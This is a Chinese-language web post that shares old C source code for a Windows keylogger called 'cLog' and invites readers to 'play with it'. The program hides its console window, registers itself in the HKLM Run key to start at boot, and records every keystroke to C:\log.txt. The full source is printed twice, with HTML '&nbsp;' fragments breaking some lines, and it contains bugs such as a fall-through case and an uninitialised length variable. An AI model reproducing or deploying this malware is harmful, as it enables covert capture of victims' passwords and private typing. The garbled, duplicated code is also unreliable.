PS:很早的一个源码了,大家拿去玩玩吧
#include <windows.h>
#include <stdio.h>
#include <time.h>
int main(void)
{
// Hide consolewindows
HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hwnd,SW_HIDE);
//Autostart Keylogger on systemstartup
HKEY hkey;
HKEY KEY = HKEY_LOCAL_MACHINE;
char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
char name[100]= {"Autostart"};
char value[100]= {"C:\\Programme\\cLog.exe"};
RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
RegCloseKey(hkey);
//------------------------------------------------------------------------------
int idex;
char *buffer;
long LogLength;
long len;
FILE *log;
log=fopen("c:\\log.txt","a+");
// Check time and Date and write to file
time_t theTime=time(0);
fputs("\nLogged keys by cLog at: ", log);
fputs(ctime(&theTime),log);
// some advertisement
fputs("-------------------------------------------------\n",log);
fputs("~~~~~~~ by CC_IP POWERED BY EXCLUDED.ORG ~~~~~~\n",log);
fputs("-------------------------------------------------\n",log);
fputs("\n",log);
fclose(log);
// logging keys
log=fopen("c:\\log.txt","a+");
short character;
while(1)
{
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *log;
log=fopen("C:\\log.txt","a+");
if(log==NULL)
{
return 1;
}
if(log!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,log);
fclose(log);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,log);
fclose(log);
break;
}
else
> {
switch(character)
{
case 187:
fputc('+',log);
fclose(log);
break;
case 188:
fputc(',',log);
fclose(log);
break;
case 189:
fputc('-',log);
fclose(log);
break;
case 190:
fputc('.',log);
fclose(log);
break;
case VK_NUMPAD0:
fputc('0',log);
fclose(log);
break;
case VK_NUMPAD1:
fputc('1',log);
fclose(log);
break;
case VK_NUMPAD2:
&nbs
p; fputc('2',log);
fclose(log);
break;
case VK_NUMPAD3:
fputc('3',log);
fclose(log);
break;
case VK_NUMPAD4:
fputc('4',log);
fclose(log);
break;
case VK_NUMPAD5:
fputc('5',log);
fclose(log);
break;
case VK_NUMPAD6:
fputc('6',log);
fclose(log);
break;
case VK_NUMPAD7:
fputc('7',log);
fclose(log);
break;
case VK_NUMPAD8:
fputc('8',log);
fclose(log);
break;
case VK_NUMPAD9:
&nb
sp; fputc('9',log);
fclose(log);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",log);
fclose(log);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",log);
fclose(log);
case VK_SPACE:
fputc(' ',log);
fclose(log);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",log);
fclose(log);
break;
break;
case VK_RETURN:
fputs("\r\n[RETURN]\r\n",log);
fclose(log);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",log);
fclose(log);
&
nbsp; break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",log);
fclose(log);
break;
case VK_DELETE:
fputs("\r\n[DELETE]\r\n",log);
fclose(log);
break;
default:
fclose(log);
break;
}
}
}
}
}
FILE *log;
log=fopen("c:\\log.txt","rb");
fseek(log,0,SEEK_END); //search EOF
len=ftell(log); //goto end
if(len>=LogLength) {
fseek(log,0,SEEK_SET);
buffer=(char *)malloc(len);
idex=fread(buffer,1,len,log);//
buffer[idex] = '\0'; //terminate
fclose(log);
log=fopen("c:\\log.txt","w");
}
fclose(log);
}
free (buffer);
}
// Developed by CC_IP powered by www.excluded.org
#include <windows.h>
#include <stdio.h>
#include <time.h>
int main(void)
{
// Hide consolewindows
HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hwnd,SW_HIDE);
//Autostart Keylogger on systemstartup
HKEY hkey;
HKEY KEY = HKEY_LOCAL_MACHINE;
char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
char name[100]= {"Autostart"};
char value[100]= {"C:\\Programme\\cLog.exe"};
RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
RegCloseKey(hkey);
//------------------------------------------------------------------------------
int idex;
char *buffer;
long LogLength;
long len;
FILE *log;
log=fopen("c:\\log.txt","a+");
// Check time and Date and write to file
time_t theTime=time(0);
fputs("\nLogged keys by cLog at: ", log);
fputs(ctime(&theTime),log);
// some advertisement
fputs("-------------------------------------------------\n",log);
fputs("~~~~~~~ by CC_IP POWERED BY EXCLUDED.ORG ~~~~~~\n",log);
fputs("-------------------------------------------------\n",log);
fputs("\n",log);
fclose(log);
// logging keys
log=fopen("c:\\log.txt","a+");
short character;
while(1)
&nbs
p; {
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *log;
log=fopen("C:\\log.txt","a+");
if(log==NULL)
{
return 1;
}
if(log!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,log);
fclose(log);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,log);
fclose(log);
break;
}
else
{
switch(character)
{
case 187:
fputc('+',log);
fclose(log);
break;
case 188:
fputc(',',log);
fclose(log);
break;
case 189:
fputc('-',log);
fclose(log);
break;
case 190:
fputc('.',log);
fclose(log);
break;
case VK_NUMPAD0:
fputc('0',log);
fclose(log);
break;
case VK_NUMPAD1:
fputc('1',log);
fclose(log);
break;
case VK_NUMPAD2:
fputc('2',log);
fclose(log);
break;
case VK_NUMPAD3:
fputc('3',log);
fclose(log);
break;
case VK_NUMPAD4:
&
nbsp; fputc('4',log);
fclose(log);
break;
case VK_NUMPAD5:
fputc('5',log);
fclose(log);
break;
case VK_NUMPAD6:
fputc('6',log);
fclose(log);
break;
case VK_NUMPAD7:
fputc('7',log);
fclose(log);
break;
case VK_NUMPAD8:
fputc('8',log);
fclose(log);
break;
case VK_NUMPAD9:
fputc('9',log);
fclose(log);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",log);
fclose(log);
break;
&nb
sp; case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",log);
fclose(log);
case VK_SPACE:
fputc(' ',log);
fclose(log);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",log);
fclose(log);
break;
break;
case VK_RETURN:
fputs("\r\n[RETURN]\r\n",log);
fclose(log);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",log);
fclose(log);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",log);
fclose(log);
break;
case VK_DELETE:
fputs("\r\n[DELETE]\r\n",log);
fclose(log);
break;
default:
fclose(log);
break;
}
}
}
}
}
FILE *log;
log=fopen("c:\\log.txt","rb");
fseek(log,0,SEEK_END); //search EOF
len=ftell(log); //goto end
if(len>=LogLength) {
fseek(log,0,SEEK_SET);
buffer=(char *)malloc(len);
idex=fread(buffer,1,len,log);//
buffer[idex] = '\0'; //terminate
fclose(log);
log=fopen("c:\\log.txt","w");
}
fclose(log);
}
free (buffer);
}
// Developed by CC_IP powered by www.excluded.org
近期评论